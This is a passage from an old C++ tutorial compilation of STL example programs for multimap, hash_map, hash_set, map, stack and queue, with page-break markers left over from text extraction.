mmp1.insert(Int_Pair(3, 12));
mmp1.insert(Int_Pair(5, 32));
mmp1.insert(Int_Pair(4, 21));

//Create an empty multimap mmp2 with the key comparison


//function of greater than, then insert 4 elements
multimap <int, int, greater<int> > mmp2;
mmp2.insert(Int_Pair(1, 11));
mmp2.insert(Int_Pair(2, 10));
mmp2.insert(Int_Pair(2, 11));
mmp2.insert(Int_Pair(3, 12));

//Create a multimap mmp3 with the


//allocator of multimap mmp1
multimap <int, int>::allocator_type mmp1_Alloc;
mmp1_Alloc = mmp1.get_allocator();
multimap <int, int> mmp3(less<int>(), mmp1_Alloc);
mmp3.insert(Int_Pair(3, 12));
mmp3.insert(Int_Pair(1, 21));

//multimap mmp4, a copy of multimap mmp1


multimap <int, int> mmp4(mmp1);

//Create a multimap mmp5 by copying the range mmp1[_First, _Last)


multimap <int, int>::const_iterator mmp1_PIter, mmp1_QIter;
mmp1_PIter = mmp1.begin();
mmp1_QIter = mmp1.begin();
mmp1_QIter++;
mmp1_QIter++;
multimap <int, int> mmp5(mmp1_PIter, mmp1_QIter);

//Create a multimap mmp6 by copying the range mmp4[_First, _Last)


//and with the allocator of multimap mmp2
multimap <int, int>::allocator_type mmp2_Alloc;
mmp2_Alloc = mmp2.get_allocator();
multimap <int, int> mmp6(mmp4.begin(), ++mmp4.begin(), less<int>(), mmp2_Alloc);

//--------------------------------------------------------
cout<<"Operation: multimap <int, int> mmp0\n";
cout<<"mmp0 data: ";
for(mmp0Iter = mmp0.begin(); mmp0Iter != mmp0.end(); mmp0Iter++)
cout<<" "<<mmp0Iter->second;
cout<<endl;

cout<<"\nOperation1: multimap<int, int, less<int> > mmp1\n";


cout<<"Operation2: mmp1.insert(Int_Pair(2, 2))...\n";
cout<<"mmp1 data: ";

file:///C|/Tutorial.txt (455 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

for(mmp1Iter = mmp1.begin(); mmp1Iter != mmp1.end(); mmp1Iter++)


cout<<" "<<mmp1Iter->second;
cout<<endl;

cout<<"\nOperation1: multimap <int, int, greater<int> > mmp2\n";


cout<<"Operation2: mmp2.insert(Int_Pair(1, 11))...\n";
cout<<"mmp2 data: ";
for(mmp2Iter = mmp2.begin(); mmp2Iter != mmp2.end(); mmp2Iter++)
cout<<" "<<mmp2Iter->second;
cout<<endl;

cout<<"\nOperation1: multimap <int, int> mmp3(less<int>(), mmp1_Alloc)\n";


cout<<"Operation2: mmp3.insert(Int_Pair(3, 12))...\n";
cout<<"mmp3 data: ";
for(mmp3Iter = mmp3.begin(); mmp3Iter != mmp3.end(); mmp3Iter++)
cout<<" "<<mmp3Iter->second;
cout<<endl;

cout<<"\nOperation: multimap <int, int> mmp4(mmp1)\n";


cout<<"mmp4 data: ";
for(mmp4Iter = mmp4.begin(); mmp4Iter != mmp4.end(); mmp4Iter++)
cout<<" "<<mmp4Iter->second;
cout << endl;

cout<<"\nOperation: multimap <int, int> mmp5(mmp1_PIter, mmp1_QIter)\n";


cout<<"mmp5 data: ";
for(mmp5Iter = mmp5.begin(); mmp5Iter != mmp5.end(); mmp5Iter++)
cout<<" "<<mmp5Iter->second;
cout<<endl;

cout<<"\nOperation: multimap <int, int> mmp6(mmp4.begin(), \n++mmp4.begin(), less<int>(), mmp2_Alloc)\n";


cout<<"mmp6 data: ";
for(mmp6Iter = mmp6.begin(); mmp6Iter != mmp6.end(); mmp6Iter++)
cout<<" "<<mmp6Iter->second;
cout<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------------------------------

//hash_map, constructor
//compiled with visual C++ 7.0
//or VC.Net, some warnings
#include <hash_map>
#include <iostream>
using namespace std;

int main()
{
typedef pair <int, int> Int_Pair;
hash_map <int, int>::iterator hmp0_Iter, hmp1_Iter, hmp3_Iter, hmp4_Iter, hmp5_Iter, hmp6_Iter;
hash_map <int, int, hash_compare<int, greater<int> > >::iterator hmp2_Iter;

//Create an empty hash_map hmp0 of key type integer


hash_map <int, int> hmp0;

file:///C|/Tutorial.txt (456 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//Create an empty hash_map hmp1 with the key comparison


//function of less than, then insert 4 elements
hash_map <int, int, hash_compare <int, less<int> > > hmp1;
hmp1.insert(Int_Pair(1, 13));
hmp1.insert(Int_Pair(3, 51));
hmp1.insert(Int_Pair(7, 22));
hmp1.insert(Int_Pair(2, 31));

//Create an empty hash_map hmp2 with the key comparison


//function of greater than, then insert 4 elements
//no duplicate key...
hash_map <int, int, hash_compare <int, greater<int> > > hmp2;
hmp2.insert(Int_Pair(1, 17));
hmp2.insert(Int_Pair(2, 20));
hmp2.insert(Int_Pair(4, 13));
hmp2.insert(Int_Pair(3, 34));

//Create a hash_map hmp3 with the


//hash_map hmp1 allocator
//notice the duplicate key...
hash_map <int, int>::allocator_type hmp1_Alloc;
hmp1_Alloc = hmp1.get_allocator();
hash_map <int, int> hmp3(less<int>(), hmp1_Alloc);
hmp3.insert(Int_Pair(2, 17));
hmp3.insert(Int_Pair(1, 12));
hmp3.insert(Int_Pair(2, 15));
hmp3.insert(Int_Pair(1, 22));

//Create a hash_map hm5 by copying the range hm1[_First, _Last)


hash_map <int, int>::const_iterator hmp1_PIter, hmp1_QIter;
hmp1_PIter = hmp1.begin( );
hmp1_QIter = hmp1.begin( );
hmp1_QIter++;
hmp1_QIter++;
hash_map <int, int> hmp5(hmp1_PIter, hmp1_QIter);

//Create a hash_map hm6 by copying the range hm2[_First, _Last)


//and with the allocator of hash_map hm2
hash_map <int, int>::allocator_type hmp2_Alloc;
hmp2_Alloc = hmp2.get_allocator();
hash_map <int, int> hmp6(hmp2.begin(), ++hmp2.begin(), less<int>(), hmp2_Alloc);

//------------------------------------
cout<<"Operation: hash_map <int, int> hmp0\n";
cout<<"hmp0 data: ";
for(hmp0_Iter = hmp0.begin(); hmp0_Iter != hmp0.end(); hmp0_Iter++)
cout<<hmp0_Iter->second<<" ";
cout<<endl;

cout<<"\nOperation1: hash_map<int, int, \nhash_compare<int, less<int> > > hmp1\n";


cout<<"Operation2: hmp1.insert(Int_Pair(1, 13))...\n";
cout<<"hmp1 data: ";
for(hmp1_Iter = hmp1.begin(); hmp1_Iter != hmp1.end(); hmp1_Iter++)
cout<<hmp1_Iter->second<<" ";

file:///C|/Tutorial.txt (457 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<endl;

cout<<"\nOperation1: hash_map<int, int, \nhash_compare<int, greater<int> > > hmp2\n";


cout<<"Operation2: hmp2.insert(Int_Pair(1, 17))...\n";
cout<<"hmp2 data: ";
for(hmp2_Iter = hmp2.begin(); hmp2_Iter != hmp2.end(); hmp2_Iter++)
cout<<hmp2_Iter->second<<" ";
cout<<endl;

cout<<"\nOperation1: hash_map<int, int> hmp3(less<int>(), hmp1_Alloc)\n";


cout<<"Operation2: hmp3.insert(Int_Pair(2, 17))...\n";
cout<<"hmp3 data: ";
for(hmp3_Iter = hmp3.begin(); hmp3_Iter != hmp3.end(); hmp3_Iter++)
cout<<hmp3_Iter->second<<" ";
cout<<endl;

cout<<"\nOperation: hash_map<int, int> hmp5(hmp1_PIter, hmp1_QIter)\n";


cout<<"hmp5 data: ";
for(hmp5_Iter = hmp5.begin(); hmp5_Iter != hmp5.end(); hmp5_Iter++)
cout<<hmp5_Iter->second<<" ";
cout<<endl;

cout<<"\nOperation: hash_map<int, int> hmp6(hmp2.begin(), \n++hmp2.begin(), less<int>(), hmp2_Alloc);\n";


cout<<"hmp6 data: ";
for(hmp6_Iter = hmp6.begin(); hmp6_Iter != hmp6.end(); hmp6_Iter++)
cout<<hmp6_Iter->second <<" ";
cout<<endl;
return 0;
}

------------------------------------------------------------------------------------------------------------

//hash_multimap, constructor
//compiled with VC7.0 or .Net
//a lot of warning messages:-)
#include <hash_map>
#include <iostream>
using namespace std;

int main()
{
typedef pair <int, int> Int_Pair;
hash_multimap <int, int>::iterator hmp0_Iter, hmp1_Iter, hmp3_Iter, hmp4_Iter, hmp5_Iter;
hash_multimap <int, int, hash_compare <int, greater<int> > >::iterator hmp2_Iter;

//Create an empty hash_multimap hmp0 of key type integer


hash_multimap <int, int> hmp0;

//Create an empty hash_multimap hmp1 with the key comparison


//function of less than, then insert 6 elements
hash_multimap <int, int, hash_compare <int, less<int> > > hmp1;
hmp1.insert(Int_Pair(3, 12));
hmp1.insert(Int_Pair(2, 30));
hmp1.insert(Int_Pair(1, 22));
hmp1.insert(Int_Pair(7, 41));
hmp1.insert(Int_Pair(4, 9));

file:///C|/Tutorial.txt (458 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

hmp1.insert(Int_Pair(7, 30));

//Create an empty hash_multimap hmp2 with the key comparison


//function of greater than, then insert 2 elements
hash_multimap <int, int, hash_compare <int, greater<int> > > hmp2;
hmp2.insert(Int_Pair(2, 13));
hmp2.insert(Int_Pair(1, 17));

//Create a hash_multimap hmp3 with the


//allocator of hash_multimap hmp1
hash_multimap <int, int>::allocator_type hmp1_Alloc;
hmp1_Alloc = hmp1.get_allocator();
hash_multimap <int, int> hmp3(less<int>(),hmp1_Alloc);
hmp3.insert(Int_Pair(2, 13));
hmp3.insert(Int_Pair(4, 10));

//Create a hash_multimap hmp4 by copying the range hmp1[_First, _Last)


hash_multimap <int, int>::const_iterator hmp1_PIter, hmp1_QIter;
hmp1_PIter = hmp1.begin();
hmp1_QIter = hmp1.begin();
hmp1_QIter++;
hmp1_QIter++;
hmp1_QIter++;
hash_multimap <int, int> hmp4(hmp1_PIter, hmp1_QIter);

//Create a hash_multimap hmp5 by copying the range hmp2[_First, _Last)


//and with the allocator of hash_multimap hmp2
hash_multimap <int, int>::allocator_type hmp2_Alloc;
hmp2_Alloc = hmp2.get_allocator();
hash_multimap <int, int> hmp5(hmp2.begin(), ++hmp2.begin(), less<int>(), hmp2_Alloc);

//----------------------------------------------------
cout<<"Operation: hash_multimap <int, int> hmp0\n";
cout<<"hmp0 data: ";
for(hmp0_Iter = hmp0.begin(); hmp0_Iter != hmp0.end(); hmp0_Iter++)
cout<<hmp0_Iter->second<<" ";
cout<<endl;

cout<<"\nOperation1: hash_multimap<int, int, \n hash_compare<int, less<int> > > hmp1\n";


cout<<"Operation2: hmp1.insert(Int_Pair(3, 12))...\n";
cout<<"hmp1 data: ";
for(hmp1_Iter = hmp1.begin(); hmp1_Iter != hmp1.end(); hmp1_Iter++)
cout<<hmp1_Iter->second<<" ";
cout<<endl;

cout<<"\nOperation1: hash_multimap<int, int, \n hash_compare<int, greater<int> > > hmp2\n";


cout<<"Operation2: hmp2.insert(Int_Pair(2, 13))...\n";
cout<<"hmp2 data: ";
for(hmp2_Iter = hmp2.begin(); hmp2_Iter != hmp2.end(); hmp2_Iter++)
cout<<hmp2_Iter->second<<" ";
cout<<endl;

cout<<"\nOperation1: hash_multimap<int, int> hmp3(less<int>(), hmp1_Alloc)\n";


cout<<"Operation2: hmp3.insert(Int_Pair(2, 13))...\n";
cout<<"hmp3 data: ";
for(hmp3_Iter = hmp3.begin(); hmp3_Iter != hmp3.end(); hmp3_Iter++)

file:///C|/Tutorial.txt (459 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<hmp3_Iter->second<<" ";
cout<<endl;

cout<<"\nOperation: hash_multimap<int, int> hmp4(hmp1_PIter, hmp1_QIter)\n";


cout<<"hmp4 data: ";
for(hmp4_Iter = hmp4.begin(); hmp4_Iter != hmp4.end(); hmp4_Iter++)
cout<<hmp4_Iter->second<<" ";
cout<<endl;

cout<<"\nOperation: hash_multimap<int, int> hmp5(hmp2.begin(), \n ++hmp2.begin(), less<int>(), hmp2_Alloc);\n";


cout<<"hmp5 data: ";
for(hmp5_Iter = hmp5.begin(); hmp5_Iter != hmp5.end(); hmp5_Iter++)
cout<<hmp5_Iter->second<<" ";
cout<<endl;
return 0;
}

--------------------------------------------------------------------------------------------------------------------

//hash_set, constructor
//compiled with VC7.0/.Net
//some warnings
#include <hash_set>
#include <iostream>
using namespace std;

int main()
{
hash_set <int>::iterator hst0_Iter, hst1_Iter, hst3_Iter, hst4_Iter, hst5_Iter;
hash_set <int, hash_compare <int, greater<int> > >::iterator hst2_Iter;

//Create an empty hash_set hst0 of key type integer


hash_set <int> hst0;

//Create an empty hash_set hst1 with the key comparison


//function of less than, then insert 5 elements
hash_set <int, hash_compare<int, less<int> > > hst1;
hst1.insert(7);
hst1.insert(3);
hst1.insert(12);
hst1.insert(51);
hst1.insert(10);

//Create an empty hash_set hst2 with the key comparison


//function of greater than, then insert 4 elements
hash_set<int, hash_compare<int, greater<int> > > hst2;
hst2.insert(71);
hst2.insert(68);
hst2.insert(68);
hst2.insert(55);

//Create a hash_set hst3 with the


//hash_set hst1 allocator
hash_set<int>::allocator_type hst1_Alloc;
hst1_Alloc = hst1.get_allocator();
hash_set<int> hst3(less<int>(),hst1_Alloc);

file:///C|/Tutorial.txt (460 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

hst3.insert(12);
hst3.insert(13);
hst3.insert(12);

//Create a hash_set hst4 by copying the range hst1[_First, _Last)


hash_set <int>::const_iterator hst1_PIter, hst1_QIter;
hst1_PIter = hst1.begin();
hst1_QIter = hst1.begin();
hst1_QIter++;
hst1_QIter++;
hash_set<int> hst4(hst1_PIter, hst1_QIter);

//Create a hash_set hst5 by copying the range hst4[_First, _Last)


//and with the allocator of hash_set hst2
hash_set <int>::allocator_type hst2_Alloc;
hst2_Alloc = hst2.get_allocator();
hash_set <int> hst5(hst1.begin(), ++hst1.begin(), less<int>(), hst2_Alloc);

//-----------------------------------------------
cout<<"Operation: hash_set <int> hst0\n";
cout<<"hst0 data: ";
for(hst0_Iter = hst0.begin(); hst0_Iter != hst0.end(); hst0_Iter++)
cout<<*hst0_Iter<<" ";
cout<<endl;

cout<<"\nOperation: hash_set <int, hash_compare<int, \nless<int> > > hst1\n";


cout<<"Operation: hst1.insert(7)...\n";
cout<< "hst1 data: ";
for(hst1_Iter = hst1.begin(); hst1_Iter != hst1.end(); hst1_Iter++)
cout<<*hst1_Iter << " ";
cout<<endl;

cout<<"\nOperation: hash_set <int, hash_compare<int, \ngreater<int> > > hst2\n";


cout<<"Operation: hst2.insert(71)...\n";
cout<<"hst2 data: ";
for(hst2_Iter = hst2.begin(); hst2_Iter != hst2.end(); hst2_Iter++)
cout<<*hst2_Iter<<" ";
cout<<endl;

cout<<"\nOperation: hash_set<int> hst3(less<int>(),hst1_Alloc)\n";


cout<<"Operation: hst3.insert(12)...\n";
cout<<"hst3 data: ";
for(hst3_Iter = hst3.begin(); hst3_Iter != hst3.end(); hst3_Iter++)
cout<<*hst3_Iter<<" ";
cout<<endl;

cout<<"\nOperation: hash_set<int> hst4(hst1_PIter, hst1_QIter)\n";


cout<<"hst4 data: ";
for(hst4_Iter = hst4.begin(); hst4_Iter != hst4.end(); hst4_Iter++)
cout<<*hst4_Iter<<" ";
cout<<endl;

cout<<"\nOperation: hash_set <int> hst5(hst1.begin(), \n++hst1.begin(), less<int>(), hst2_Alloc)\n";


cout<<"hst5 data: ";
for(hst5_Iter = hst5.begin(); hst5_Iter != hst5.end(); hst5_Iter++)
cout<<*hst5_Iter<<" ";

file:///C|/Tutorial.txt (461 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<endl;
return 0;
}

-------------------------------------------------------------------------------------------------------

//hash_multiset, constructor
//compiled with VC7.0 or .Net
//a lot of warning messages...
#include <hash_set>
#include <iostream>
using namespace std;

int main()
{
hash_multiset <int>::iterator hms0_Iter, hms1_Iter, hms3_Iter, hms4_Iter, hms5_Iter;
hash_multiset <int, hash_compare <int, greater<int> > >::iterator hms2_Iter;

//Create an empty hash_multiset hms0 of key type integer


hash_multiset <int> hms0;

//Create an empty hash_multiset hms1 with the key comparison


//function of less than, then insert 6 elements
hash_multiset<int, hash_compare<int, less<int> > > hms1;
hms1.insert(12);
hms1.insert(17);
hms1.insert(24);
hms1.insert(17);
hms1.insert(9);

//Create an empty hash_multiset hms2 with the key comparison


//function of greater than, then insert 4 elements
hash_multiset<int, hash_compare<int, greater<int> > > hms2;
hms2.insert(21);
hms2.insert(34);
hms2.insert(21);
hms2.insert(17);

//Create a hash_multiset hms3 with the


//allocator of hash_multiset hms1
hash_multiset <int>::allocator_type hms1_Alloc;
hms1_Alloc = hms1.get_allocator();
hash_multiset <int> hms3(less<int>(), hms1_Alloc);
hms3.insert(71);
hms3.insert(52);
hms3.insert(31);

//Create a hash_multiset hms4 by copying the range hms1[_First, _Last)


hash_multiset <int>::const_iterator hms1_PIter, hms1_QIter;
hms1_PIter = hms1.begin();
hms1_QIter = hms1.begin();
hms1_QIter++;
hms1_QIter++;
hms1_QIter++;
hash_multiset<int> hms4(hms1_PIter, hms1_QIter);

file:///C|/Tutorial.txt (462 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//Create a hash_multiset hms5 by copying the range hms2[_First, _Last)


//and with the allocator of hash_multiset hms2
hash_multiset<int>::allocator_type hms2_Alloc;
hms2_Alloc = hms2.get_allocator( );
hash_multiset<int> hms5(hms2.begin(), ++hms2.begin(),less<int>(), hms2_Alloc);

//------------------------------------------------------
cout<<"Operation: hash_multiset <int> hms0\n";
cout<<"hms0 data: ";
for(hms0_Iter = hms0.begin(); hms0_Iter != hms0.end(); hms0_Iter++)
cout<<*hms0_Iter<<" ";
cout<<endl;

cout<<"\nOperation1: hash_multiset<int, \n hash_compare<int, less<int> > > hms1\n";


cout<<"Operation2: hms1.insert(12)...\n";
cout<<"hms1 data: ";
for(hms1_Iter = hms1.begin(); hms1_Iter != hms1.end(); hms1_Iter++)
cout<<*hms1_Iter<<" ";
cout<<endl;

cout<<"\nOperation1: hash_multiset<int, \n hash_compare<int, greater<int> > > hms2\n";


cout<<"Operation2: hms2.insert(21)...\n";
cout<<"hms2 data: ";
for(hms2_Iter = hms2.begin(); hms2_Iter != hms2.end(); hms2_Iter++)
cout<<*hms2_Iter<<" ";
cout<<endl;

cout<<"\nOperation1: hash_multiset<int> hms3(less<int>(),hms1_Alloc)\n";


cout<<"Operation2: hms3.insert(71)...\n";
cout<<"hms3 data: ";
for(hms3_Iter = hms3.begin(); hms3_Iter != hms3.end(); hms3_Iter++)
cout<<*hms3_Iter<<" ";
cout<<endl;

cout<<"\nOperation: hash_multiset<int> hms4(hms1_PIter, hms1_QIter)\n";


cout<<"hms4 data: ";
for(hms4_Iter = hms4.begin(); hms4_Iter != hms4.end(); hms4_Iter++)
cout<<*hms4_Iter<<" ";
cout<<endl;

cout<<"\nOperation: hash_multiset<int> hms5(hms2.begin(), \n


++hms2.begin(), less<int>(), hms2_Alloc)\n";
cout<<"hms5 data: ";
for(hms5_Iter = hms5.begin(); hms5_Iter != hms5.end(); hms5_Iter++)
cout<<*hms5_Iter<<" ";
cout<<endl;
return 0;
}

-------------------------------------------G++------------------------------------------------------------

//******mapconstructor.cpp********
//map, constructor
//compiled with VC++ 7.0
//or .Net
#include <map>

file:///C|/Tutorial.txt (463 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <iostream>
using namespace std;

int main( )
{
typedef pair<int, int> Int_Pair;
map<int, int>::iterator mp0_Iter, mp1_Iter, mp3_Iter, mp4_Iter, mp5_Iter, mp6_Iter;
map<int, int, greater<int> >::iterator mp2_Iter;

//Create an empty map mp0 of key type integer


map <int, int> mp0;

//Create an empty map mp1 with the key comparison


//function of less than, then insert 6 elements
map <int, int, less<int> > mp1;
mp1.insert(Int_Pair(1, 13));
mp1.insert(Int_Pair(3, 23));
mp1.insert(Int_Pair(3, 31));
mp1.insert(Int_Pair(2, 23));
mp1.insert(Int_Pair(6, 15));
mp1.insert(Int_Pair(9, 25));

//Create an empty map mp2 with the key comparison


//function of greater than, then insert 3 elements
map <int, int, greater<int> > mp2;
mp2.insert(Int_Pair(3, 12));
mp2.insert(Int_Pair(1, 31));
mp2.insert(Int_Pair(2, 21));

//Create a map mp3 with the


//allocator of map mp1
map <int, int>::allocator_type mp1_Alloc;
mp1_Alloc = mp1.get_allocator();
map <int, int> mp3(less<int>(), mp1_Alloc);
mp3.insert(Int_Pair(1, 10));
mp3.insert(Int_Pair(2, 12));

//Create a copy, map mp4, of map mp1


map <int, int> mp4(mp1);

//Create a map mp5 by copying the range mp1[_First, _Last)


map <int, int>::const_iterator mp1_PIter, mp1_QIter;
mp1_PIter = mp1.begin();
mp1_QIter = mp1.begin();
mp1_QIter++;
mp1_QIter++;
map <int, int> mp5(mp1_PIter, mp1_QIter);

//Create a map mp6 by copying the range mp4[_First, _Last)


//and with the allocator of map mp2
map <int, int>::allocator_type mp2_Alloc;
mp2_Alloc = mp2.get_allocator();
map <int, int> mp6(mp4.begin(), ++mp4.begin(), less<int>(), mp2_Alloc);

//--------------------------------------------------------
cout<<"Operation: map <int, int> mp0\n";

file:///C|/Tutorial.txt (464 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"mp0 data: ";


for(mp0_Iter = mp0.begin(); mp0_Iter != mp0.end(); mp0_Iter++)
cout<<" "<<mp0_Iter->second;
cout<<endl;

cout<<"\nOperation1: map <int, int, less<int> > mp1\n";


cout<<"Operation2: mp1.insert(Int_Pair(1, 13))...\n";
cout<<"mp1 data: ";
for(mp1_Iter = mp1.begin(); mp1_Iter != mp1.end(); mp1_Iter++)
cout<<" "<<mp1_Iter->second;
cout<<endl;

cout<<"\nOperation1: map <int, int, greater<int> > mp2\n";


cout<<"Operation2: mp2.insert(Int_Pair(3, 12))...\n";
cout<<"mp2 data: ";
for(mp2_Iter = mp2.begin(); mp2_Iter != mp2.end(); mp2_Iter++)
cout<<" "<<mp2_Iter->second;
cout<<endl;

cout<<"\nOperation1: map <int, int> mp3(less<int>(), mp1_Alloc)\n";


cout<<"Operation2: mp3.insert(Int_Pair(1, 10))...\n";
cout<<"mp3 data: ";
for(mp3_Iter = mp3.begin(); mp3_Iter != mp3.end(); mp3_Iter++)
cout<<" "<<mp3_Iter->second;
cout<<endl;

cout<<"\nOperation: map <int, int> mp4(mp1)\n";


cout<<"mp4 data: ";
for(mp4_Iter = mp4.begin(); mp4_Iter != mp4.end(); mp4_Iter++)
cout<<" "<<mp4_Iter->second;
cout<<endl;

cout<<"\nOperation: map <int, int> mp5(mp1_PIter, mp1_QIter)\n";


cout<<"mp5 data: ";
for(mp5_Iter = mp5.begin(); mp5_Iter != mp5.end(); mp5_Iter++)
cout<<" "<<mp5_Iter->second;
cout<<endl;

cout<<"\nOperation: map <int, int> mp6(mp4.begin(), \n++mp4.begin(), less<int>(), mp2_Alloc);\n";


cout<<"mp6 data: ";
for(mp6_Iter = mp6.begin(); mp6_Iter != mp6.end(); mp6_Iter++)
cout<<" "<<mp6_Iter->second;
cout<<endl;
return 0;
}

============================MODULE30=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |

file:///C|/Tutorial.txt (465 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

| reproduction and modification is granted to any body. |


| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
g++ are given at the end of every Module. For example if you want to
compile C++ codes using VC++/VC++ .Net, change the header file accordingly.
Just need some modification for the header files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================

//stack, pop(), push()


//size() and top()
#include <stack>
#include <iostream>
using namespace std;

int main()
{
stack <int> st1, st2;

//push data element on the stack


st1.push(21);
int j=st1.top();

file:///C|/Tutorial.txt (466 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<j<<' ';
st1.push(9);
j=st1.top();
cout<<j<<' ';
st1.push(12);
j=st1.top();
cout<<j<<' ';
st1.push(31);
j=st1.top();
cout<<j<<' '<<endl;

stack <int>::size_type i;
i = st1.size();
cout<<"The stack length is "<<i<<endl;

i = st1.top();
cout<<"The element at the top of the stack is "<<i<<endl;

st1.pop();

i = st1.size();
cout<<"After a pop, the stack length is "<<i<<endl;

i = st1.top();
cout<<"After a pop, the element at the top of the stack is "<<i<<endl;
return 0;
}

-------------------------------------------------------------------------------------------

//stack, constructor
#include <stack>
#include <vector>
#include <list>
#include <iostream>
using namespace std;

int main()
{
//Declares stack with default deque base container
stack <char> deq1;

//Explicitly declares a stack with deque base container


stack <char, deque<char> > deq2;

//Declares a stack with vector base containers


stack <int, vector<int> > vec;

//Declares a stack with list base container


stack <int, list<int> > lst;
cout<<endl;

return 0;
}
//no output

file:///C|/Tutorial.txt (467 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

-------------------------------------------------------------------------------------------

//queue, back(), push(), front()


#include <queue>
#include <iostream>
using namespace std;

int main()
{
queue <int> que1;

que1.push(11);
que1.push(13);

int& x = que1.back();
const int& y = que1.front();

cout<<"The integer at the back of queue que1 is "<<x<<endl;


cout<<"The integer at the front of queue que1 is "<<y<<endl;
return 0;
}

-------------------------------------------------------------------------------------------

//queue, front()
#include <queue>
#include <iostream>
using namespace std;

int main()
{
queue <int> que;

que.push(9);
que.push(12);
que.push(20);
que.push(15);

queue <int>::size_type x;
x = que.size();
cout<<"The queue length is "<<x<<endl;

int& y = que.back();
int& z = que.front();
cout<<"The integer at the back of queue que is "<<y<<endl;
cout<<"The integer at the front of queue que is "<<z<<endl;
return 0;
}

-------------------------------------------------------------------------------------------

//queue, pop()
#include <queue>
#include <iostream>
using namespace std;

file:///C|/Tutorial.txt (468 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int main()
{
queue <int> que;

que.push(21);
que.push(9);
que.push(13);

queue <int>::size_type i;
i = que.size();
cout<<"The queue length is "<<i<<endl;

i = que.front();
cout<<"The element at the front of the queue is "<<i<<endl;

que.pop();
i = que.size();
cout<<"After a pop the queue length is "<<i<<endl;

i = que.front();
cout<<"After a pop, the element at the front of the queue is "<<i<<endl;
return 0;
}

-------------------------------------------------------------------------------------------

//queue, push()
#include <queue>
#include <iostream>
using namespace std;

int main()
{
queue <int> que;

que.push(23);
que.push(15);
que.push(32);

queue <int>::size_type i;
i = que.size();
cout<<"The queue length is "<<i<<endl;
i = que.front();
cout<<"The element at the front of the queue is "<<i<<endl;
return 0;
}

-------------------------------------------------------------------------------------------

//queue, constructor
#include <queue>
#include <vector>
#include <list>
#include <iostream>
using namespace std;

file:///C|/Tutorial.txt (469 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int main()
{
//Declares queue with default deque base container
queue <char> que;

//Explicitly declares a queue with deque base container


queue <char, deque<char> > que1;

//These lines don't cause an error, even though they


//declares a queue with a vector base container
queue <int, vector<int> > que2;
que2.push(12);
//but the following would cause an error because vector has
//no pop_front() member function
//que2.pop();

//Declares a queue with list base container


queue <int, list<int> > que3;
cout<<endl;

return 0;
}
//no output

-------------------------------------G++------------------------------------------------------

//*******stackpopush.cpp*******
//stack, pop(), push()
//size() and top()
#include <stack>
#include <iostream>
using namespace std;

int main()
{
stack <int> st1, st2;

//push data element on the stack


st1.push(21);
int j=st1.top();
cout<<j<<' ';
st1.push(9);
j=st1.top();
cout<<j<<' ';
st1.push(12);
j=st1.top();
cout<<j<<' ';
st1.push(31);
j=st1.top();
cout<<j<<' '<<endl;

stack <int>::size_type i;
i = st1.size();
cout<<"The stack length is "<<i<<endl;

i = st1.top();

file:///C|/Tutorial.txt (470 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"The element at the top of the stack is "<<i<<endl;

st1.pop();

i = st1.size();
cout<<"After a pop, the stack length is "<<i<<endl;

i = st1.top();
cout<<"After a pop, the element at the top of the stack is "<<i<<endl;
return 0;
}

-------------------------------------------------------------------------------------------

//*****queuepop.cpp*******
//queue, pop()
#include <queue>
#include <iostream>
using namespace std;

int main()
{
queue <int> que;

que.push(21);
que.push(9);
que.push(13);

queue <int>::size_type i;
i = que.size();
cout<<"The queue length is "<<i<<endl;

i = que.front();
cout<<"The element at the front of the queue is "<<i<<endl;

que.pop();
i = que.size();
cout<<"After a pop the queue length is "<<i<<endl;

i = que.front();
cout<<"After a pop, the element at the front of the queue is "<<i<<endl;
return 0;
}

============================MODULE31=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |

file:///C|/Tutorial.txt (471 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

| Distributed through http://www.tenouk.com |


| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
g++ are given at the end of every Module. For example if you want to
